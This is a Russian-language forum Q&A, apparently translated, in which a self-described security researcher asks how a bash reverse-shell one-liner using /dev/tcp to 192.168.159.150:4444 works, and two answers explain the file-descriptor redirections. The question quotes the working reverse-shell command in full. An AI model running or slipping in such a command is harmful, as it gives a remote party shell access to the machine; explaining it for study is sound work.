Как работает это перенаправление команд?

Как работает это перенаправление команд?

Я провожу исследование в области безопасности и мне интересно, как следующий фрагмент работает в ОС на базе Unix:

exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done

Я полностью осознаючтоэтот код делает это (т.е. устанавливает обратный шелл к 192.168.159.150 через порт 4444), но я не понимаю, что делают эти разделы:

  • exec 5<>
  • cat <&5
  • 2>&5 >&5

И вообще, как все это складывается вместе, чтобы получилась та оболочка, которую я вижу.

Может ли кто-нибудь помочь объяснить это или указать мне правильное направление для понимания этого?

Спасибо

решение1

Краткое изложение:

exec 5<>открывает новый дескриптор файла для чтения и записи, а затем называет его5

cat <&5считывает из этого недавно открытого дескриптора файла

2>&5 >&5перенаправляет вывод как дескриптора файла 2(stderr), так и дескриптора файла 1(stdout) в дескриптор файла 5. 1В данном случае подразумевается, поскольку номер дескриптора файла не был предоставлен при втором перенаправлении.

решение2

На некоторые части вашего вопроса дан ответздесь

Но

  1. Это определяет новый файловый дескриптор с номером 5. Кстати, 0 — это STDIN, 1 — STDOUT, 2 — STDERR файловые дескрипторы.
  2. Отобразить информацию, полученную по протоколу TCP, IP 192.168.159.150, порт 4444
  3. Отправить STDERR и STDOUT в файловый обработчик 5, т.е. сеть

Связанный контент